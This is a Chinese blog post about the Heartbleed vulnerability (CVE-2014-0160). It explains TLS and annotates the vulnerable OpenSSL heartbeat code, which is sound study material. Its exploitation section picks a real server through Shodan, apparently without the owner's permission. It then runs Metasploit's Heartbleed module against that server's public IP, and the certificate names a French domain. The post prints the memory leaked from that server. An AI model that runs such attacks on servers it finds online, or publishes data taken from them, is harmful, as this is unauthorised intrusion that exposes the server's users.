• Home
  • About
    • tearorca photo

      tearorca

      Wishful thinking have to be willing to bet on clothing!

    • Learn More
    • Google+
    • Github
  • Posts
    • All Posts
    • All Tags
  • Projects

cve-2014-0160(心脏出血)

21 Jun 2019

Reading time ~8 minutes

  • cve-2014-0160
    • 漏洞介绍
    • TLS/SSL 简介
    • 漏洞分析
    • 漏洞利用
    • 参考链接

cve-2014-0160

漏洞介绍

2014年4月7日OpenSSL发布了安全公告,在OpenSSL1.0.1到1.0.1f版本中存在严重漏洞(CVE-2014-0160)。OpenSSL Heartbleed模块存在一个BUG,问题存在于ssl/dl_both.c文件中的心跳部分,当攻击者构造一个特殊的数据包,满足用户心跳包中无法提供足够多的数据会导致memcpy函数把SSLv3记录之后的数据直接输出,该漏洞导致攻击者可以远程读取存在漏洞版本的OpenSSL服务器内存中多达64K的数据。该漏洞又叫“心脏出血”漏洞。

TLS/SSL 简介

TLS 和 SSL 是两个密切相关的协议, 均用于保证两个主机之间通信数据的机密性与完整性。

TLS或 SSL 可为已存在的应用层协议(例如. HTTP, LDAP, FTP, SMTP 及其他),添加一个安全层。它同样可以用于创建VPN解决方案(例如, OpenVPN).

SSL 协议于1994年由Netscape开发。1996年,SSL 3.0 (最后版本)被发布。IETF 基于此协议进行了开发,取名为TLS。1999年,IETF在RFC2246中发布TLS 1.0。

TLS 或 SSL 协议,由多层构成. 最接近它的上层协议是可信传输协议(例如: TCP). 它可用于封装较高层次的协议。

协议握手 – 允许服务器与客户间相互验证, 协商加密算法,交换密钥.

协议警告 – 警告讯息传达警告的严重程度和警报的描述(错误,关闭,握手障碍等). 导致连接立即终止的一些致命结果,都会产生警告。警告信息会在当前连接状态下,被加密和压缩。

协议应用 – 位于传输层协议(TCP/IP)之上, 例如: HTTP, TELNET, FTP, SMTP.

漏洞分析

直接从源码补丁开始比较,发现增加了对rrec.length长度的判断。来找一下rrec在源代码中的哪个位置出现了。

在openssl-1.0.1fsslssl3.h中定义了ssl3_state_st里面就有对rrec的定义。是由SSL3_RECORD定义的,在找一下SSL3_RECORD的位置。

typedef struct ssl3_state_st
	{
	long flags;
	int delay_buf_pop_ret;

	unsigned char read_sequence[8];
	int read_mac_secret_size;
	unsigned char read_mac_secret[EVP_MAX_MD_SIZE];
	unsigned char write_sequence[8];
	int write_mac_secret_size;
	unsigned char write_mac_secret[EVP_MAX_MD_SIZE];

	unsigned char server_random[SSL3_RANDOM_SIZE];
	unsigned char client_random[SSL3_RANDOM_SIZE];

	/* flags for countermeasure against known-IV weakness */
	int need_empty_fragments;
	int empty_fragment_done;

	/* The value of 'extra' when the buffers were initialized */
	int init_extra;

	SSL3_BUFFER rbuf;	/* read IO goes into here */
	SSL3_BUFFER wbuf;	/* write IO goes into here */

	SSL3_RECORD rrec;	/* each decoded record goes in here */
	SSL3_RECORD wrec;	/* goes out from here */

	/* storage for Alert/Handshake protocol data received but not
	 * yet processed by ssl3_read_bytes: */
	unsigned char alert_fragment[2];
	unsigned int alert_fragment_len;
	unsigned char handshake_fragment[4];
	unsigned int handshake_fragment_len;

	/* partial write - check the numbers match */
	unsigned int wnum;	/* number of bytes sent so far */
	int wpend_tot;		/* number bytes written */
	int wpend_type;
	int wpend_ret;		/* number of bytes submitted */
	const unsigned char *wpend_buf;

	/* used during startup, digest all incoming/outgoing packets */
	BIO *handshake_buffer;
	/* When set of handshake digests is determined, buffer is hashed
	 * and freed and MD_CTX-es for all required digests are stored in
	 * this array */
	EVP_MD_CTX **handshake_dgst;
	/* this is set whenerver we see a change_cipher_spec message
	 * come in when we are not looking for one */
	int change_cipher_spec;

	int warn_alert;
	int fatal_alert;
	/* we allow one fatal and one warning alert to be outstanding,
	 * send close alert via the warning alert */
	int alert_dispatch;
	unsigned char send_alert[2];

	/* This flag is set when we should renegotiate ASAP, basically when
	 * there is no more data in the read or write buffers */
	int renegotiate;
	int total_renegotiations;
	int num_renegotiations;

	int in_read_app_data;

	/* Opaque PRF input as used for the current handshake.
	 * These fields are used only if TLSEXT_TYPE_opaque_prf_input is defined
	 * (otherwise, they are merely present to improve binary compatibility) */
	void *client_opaque_prf_input;
	size_t client_opaque_prf_input_len;
	void *server_opaque_prf_input;
	size_t server_opaque_prf_input_len;

	struct	{
		/* actually only needs to be 16+20 */
		unsigned char cert_verify_md[EVP_MAX_MD_SIZE*2];

		/* actually only need to be 16+20 for SSLv3 and 12 for TLS */
		unsigned char finish_md[EVP_MAX_MD_SIZE*2];
		int finish_md_len;
		unsigned char peer_finish_md[EVP_MAX_MD_SIZE*2];
		int peer_finish_md_len;

		unsigned long message_size;
		int message_type;

		/* used to hold the new cipher we are going to use */
		const SSL_CIPHER *new_cipher;
#ifndef OPENSSL_NO_DH
		DH *dh;
#endif

#ifndef OPENSSL_NO_ECDH
		EC_KEY *ecdh; /* holds short lived ECDH key */
#endif

		/* used when SSL_ST_FLUSH_DATA is entered */
		int next_state;			

		int reuse_message;

		/* used for certificate requests */
		int cert_req;
		int ctype_num;
		char ctype[SSL3_CT_NUMBER];
		STACK_OF(X509_NAME) *ca_names;

		int use_rsa_tmp;

		int key_block_length;
		unsigned char *key_block;

		const EVP_CIPHER *new_sym_enc;
		const EVP_MD *new_hash;
		int new_mac_pkey_type;
		int new_mac_secret_size;
#ifndef OPENSSL_NO_COMP
		const SSL_COMP *new_compression;
#else
		char *new_compression;
#endif
		int cert_request;
		} tmp;

		/* Connection binding to prevent renegotiation attacks */
		unsigned char previous_client_finished[EVP_MAX_MD_SIZE];
		unsigned char previous_client_finished_len;
		unsigned char previous_server_finished[EVP_MAX_MD_SIZE];
		unsigned char previous_server_finished_len;
		int send_connection_binding; /* TODOEKR */

#ifndef OPENSSL_NO_NEXTPROTONEG
	/* Set if we saw the Next Protocol Negotiation extension from our peer. */
	int next_proto_neg_seen;
#endif

#ifndef OPENSSL_NO_TLSEXT
#ifndef OPENSSL_NO_EC
	/* This is set to true if we believe that this is a version of Safari
	 * running on OS X 10.6 or newer. We wish to know this because Safari
	 * on 10.8 .. 10.8.3 has broken ECDHE-ECDSA support. */
	char is_probably_safari;
#endif /* !OPENSSL_NO_EC */
#endif /* !OPENSSL_NO_TLSEXT */
	} SSL3_STATE;

同样是在当前的ssl3.h文件中有对ssl3_record的定义。可以看到这里有length的定义,也就是说在补丁中增加的其实是在这里的长度。

typedef struct ssl3_record_st
	{
/*r */	int type;               /* type of record */
**/*rw*/	unsigned int length;    /* How many bytes available */**
/*r */	unsigned int off;       /* read/write offset into 'buf' */
/*rw*/	unsigned char *data;    /* pointer to the record data */
/*rw*/	unsigned char *input;   /* where the decode bytes are */
/*r */	unsigned char *comp;    /* only used with decompression - malloc()ed */
/*r */  unsigned long epoch;    /* epoch number, needed by DTLS1 */
/*r */  unsigned char seq_num[8]; /* sequence number, needed by DTLS1 */
	} SSL3_RECORD;

在openssl-1.0.1fsslt1_libc.c中tls1_process_heartbeat的memcpy会造成数组访问越界

int tls1_process_heartbeat(SSL *s)
{
unsigned char *p = &s->s3->rrec.data[0], *pl;	// p指向SSL3记录数据,即心跳包数据
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /* Use minimum padding */

/* Read type and payload length first */
hbtype = *p++;	// 心跳包类型
n2s(p, payload);	// 心跳包长度payload,n2s是将双字节转换成单字节
pl = p;	// 心跳包数据

if (s->msg_callback)
	s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
		&s->s3->rrec.data[0], s->s3->rrec.length,
		s, s->msg_callback_arg);

if (hbtype == TLS1_HB_REQUEST)	// 心跳请求包类型
	{
	unsigned char *buffer, *bp;
	int r;

	/* Allocate memory for the response, size is 1 bytes
	 * message type, plus 2 bytes payload length, plus
	 * payload, plus padding
	 */
	buffer = OPENSSL_malloc(1 + 2 + payload + padding);	// 分配最大可为65554(1+2+65535+16)的内存块
	bp = buffer;	// bp指向上面分配的内存块
	
	/* Enter response type, length and copy payload */
	*bp++ = TLS1_HB_RESPONSE;	// 第1字节填充响应类型
	s2n(payload, bp);			// 将长度值payload由单字节转换成双字节,然后填充到bp的第2、3字节
	**memcpy(bp, pl, payload);	// 最后填充payload长度的pl数据(用户提供的心跳包数据),而此处payload完全由用户控制,当传入过大数值时,可能导致越界访问pl之后的数据,造成敏感信息泄露**
	bp += payload;
	/* Random padding */
	RAND_pseudo_bytes(bp, padding);	// 随机填充字节

	// 将前面复制进内存区域的数据返回给用户
	r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);

	if (r >= 0 && s->msg_callback)
		s->msg_callback(1, s->version, TLS1_RT_HEARTBEAT,
			buffer, 3 + payload + padding,
			s, s->msg_callback_arg);

	OPENSSL_free(buffer);	// 释放内存

	if (r < 0)
		return r;
	}
else if (hbtype == TLS1_HB_RESPONSE)	// 心跳响应包类型
	{
	unsigned int seq;
	
	/* We only send sequence numbers (2 bytes unsigned int),
	 * and 16 random bytes, so we just try to read the
	 * sequence number */
	n2s(pl, seq);
	
	if (payload == 18 && seq == s->tlsext_hb_seq)
		{
		s->tlsext_hb_seq++;
		s->tlsext_hb_pending = 0;
		}
	}

return 0;
}

漏洞利用

可以直接在msf利用,现在shodan找个网址

>msfconsole

[-] ***

[-] * WARNING: No database support: No database YAML file

[-] ***

.:okOOOkdc' 'cdkOOOko:.

.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.

:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:

'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'

oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo

dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx

lOOOOOOOO. ;d; ,OOOOOOOOl

.OOOOOOOO. .; ; ,OOOOOOOO.

cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc

oOOOOOO. .OOOO. :OOOO. ,OOOOOOo

lOOOOO. .OOOO. :OOOO. ,OOOOOl

;OOOO' .OOOO. :OOOO. ;OOOO;

.dOOo .OOOOocccxOOOO. xOOd.

,kOl .OOOOOOOOOOOOO. .dOk,

:kk;.OOOOOOOOOOOOO.cOk:

;kOOOOOOOOOOOOOOOk:

,xOOOOOOOOOOOx,

.lOOOOOOOl.

,dOd,

.

=[ metasploit v5.0.12-dev-b021cbafa9e58f48b8e940ad2ebc4e4d38b9ec09]

+ -- --=[ 1866 exploits - 1058 auxiliary - 327 post ]

+ -- --=[ 546 payloads - 44 encoders - 10 nops ]

+ -- --=[ 2 evasion ]

msf5 > search cve-2014-0160

Matching Modules

================

Name Disclosure Date Rank Check Description

---- --------------- ---- ----- -----------

auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal Yes OpenSSL Heartbeat
(Heartbleed) Information Leak

auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal No OpenSSL
Heartbeat (Heartbleed) Client Memory Exposure

msf5 > use auxiliary/scanner/ssl/openssl_heartbleed

msf5 auxiliary(scanner/ssl/openssl_heartbleed) > show options

Module options (auxiliary/scanner/ssl/openssl_heartbleed):

Name Current Setting Required Description

---- --------------- -------- -----------

DUMPFILTER no Pattern to filter leaked memory before storing

LEAK_COUNT 1 yes Number of times to leak memory per SCAN or DUMP invocation

MAX_KEYTRIES 50 yes Max tries to dump key

RESPONSE_TIMEOUT 10 yes Number of seconds to wait for a server response

RHOSTS yes The target address range or CIDR identifier

RPORT 443 yes The target port (TCP)

STATUS_EVERY 5 yes How many retries until key dump status

THREADS 1 yes The number of concurrent threads

TLS_CALLBACK None yes Protocol to use, "None" to use raw TLS sockets (Accepted:
None, SMTP, IMAP, JABBER, POP3, FTP, POSTGRES)

TLS_VERSION 1.0 yes TLS/SSL version to use (Accepted: SSLv3, 1.0, 1.1, 1.2)

Auxiliary action:

Name Description

---- -----------

SCAN Check hosts for vulnerability

msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 92.154.49.106

RHOSTS => 92.154.49.106

msf5 auxiliary(scanner/ssl/openssl_heartbleed) > run

[*] 92.154.49.106:443 - Leaking heartbeat response #1

[*] 92.154.49.106:443 - Sending Client Hello...

[*] 92.154.49.106:443 - SSL record #1:

[*] 92.154.49.106:443 - Type: 22

[*] 92.154.49.106:443 - Version: 0x0301

[*] 92.154.49.106:443 - Length: 54

[*] 92.154.49.106:443 - Handshake #1:

[*] 92.154.49.106:443 - Length: 50

[*] 92.154.49.106:443 - Type: Server Hello (2)

[*] 92.154.49.106:443 - Server Hello Version: 0x0301

[*] 92.154.49.106:443 - Server Hello random data:
5d0cb5af625a05a33d7b97111aba4745638e749c9fa48c735c2722034a93a0b5

[*] 92.154.49.106:443 - Server Hello Session ID length: 0

[*] 92.154.49.106:443 - Server Hello Session ID:

[*] 92.154.49.106:443 - SSL record #2:

[*] 92.154.49.106:443 - Type: 22

[*] 92.154.49.106:443 - Version: 0x0301

[*] 92.154.49.106:443 - Length: 2650

[*] 92.154.49.106:443 - Handshake #1:

[*] 92.154.49.106:443 - Length: 2646

[*] 92.154.49.106:443 - Type: Certificate Data (11)

[*] 92.154.49.106:443 - Certificates length: 2643

[*] 92.154.49.106:443 - Data length: 2646

[*] 92.154.49.106:443 - Certificate #1:

[*] 92.154.49.106:443 - Certificate #1: Length: 1472

[*] 92.154.49.106:443 - Certificate #1: #<OpenSSL::X509::Certificate:
subject=#<OpenSSL::X509::Name CN=pertepecuniaire.fr>,
issuer=#<OpenSSL::X509::Name CN=Thawte RSA CA
2018,OU=www.digicert.com,O=DigiCert Inc,C=US>,
serial=#<OpenSSL::BN:0x000000000e009200>, not_before=2018-10-12 00:00:00 UTC,
not_after=2019-11-10 12:00:00 UTC>

[*] 92.154.49.106:443 - Certificate #2:

[*] 92.154.49.106:443 - Certificate #2: Length: 1165

[*] 92.154.49.106:443 - Certificate #2: #<OpenSSL::X509::Certificate:
subject=#<OpenSSL::X509::Name CN=Thawte RSA CA
2018,OU=www.digicert.com,O=DigiCert Inc,C=US>, issuer=#<OpenSSL::X509::Name
CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US>,
serial=#<OpenSSL::BN:0x000000000cdb7a98>, not_before=2017-11-06 12:23:52 UTC,
not_after=2027-11-06 12:23:52 UTC>

[*] 92.154.49.106:443 - SSL record #3:

[*] 92.154.49.106:443 - Type: 22

[*] 92.154.49.106:443 - Version: 0x0301

[*] 92.154.49.106:443 - Length: 331

[*] 92.154.49.106:443 - Handshake #1:

[*] 92.154.49.106:443 - Length: 327

[*] 92.154.49.106:443 - Type: Server Key Exchange (12)

[*] 92.154.49.106:443 - SSL record #4:

[*] 92.154.49.106:443 - Type: 22

[*] 92.154.49.106:443 - Version: 0x0301

[*] 92.154.49.106:443 - Length: 4

[*] 92.154.49.106:443 - Handshake #1:

[*] 92.154.49.106:443 - Length: 0

[*] 92.154.49.106:443 - Type: Server Hello Done (14)

[*] 92.154.49.106:443 - Sending Heartbeat...

[*] 92.154.49.106:443 - Heartbeat response, 65535 bytes

[+] 92.154.49.106:443 - Heartbeat response with leak, 65535 bytes

[*] 92.154.49.106:443 - Printable info leaked:

......]......ea..,.g5N.W.b.....#O6.4>..f.....".!.9.8.........5.............................3.2.....E.D...../...A................................................Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8..Accept-Charset:
GBK,utf-8;q=0.7,*;q=0.3..Accept-Language: zh-CN,zh;q=0.8..Connection:
close.............j..1.............................................................................................................................................................................C?.....................................................................................................................................
repeated 15604 times
.....................................................................................................................................@.....................................................................................................................................
repeated 16122 times
.....................................................................................................................................@.....................................................................................................................................
repeated 1079 times
.....................................................................................................................................O....H.........1...-...Fca...5.z.F.eyN......av.T...G......S.....)...%.,.*.b...c.....N.........+..G.1...|.<.....o.Y.2...R...H.f.$.....>...6...8.....=.Y.......t.....6.....-.........K.....f...h.n.d.......~.........
.H.......F.L...}...X............:.8........................................................................................................................................................................................................................................................................................is
xsi:type="ManagedObjectReference"
type="ServiceInstance">ServiceInstance</_this></RetrieveServiceContent></soap:Body></soap:Envelope>bD....|..*x..=.Q.....................................................................................................................................
repeated 10035 times
.....................................................................................................................................]....8...8.8.k.8.k..`....T.....................................................................................................................................
repeated 3770 times
.....................................................................................................................................@.....................................................................................................................................
repeated 16103 times
.....................................................................................................................................

[*] 92.154.49.106:443 - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf5 auxiliary(scanner/ssl/openssl_heartbleed) >

参考链接

《漏洞战争》

https://bugzilla.redhat.com/attachment.cgi?id=883475&action=diff

https://www.freebuf.com/articles/web/31700.html



Share Tweet +1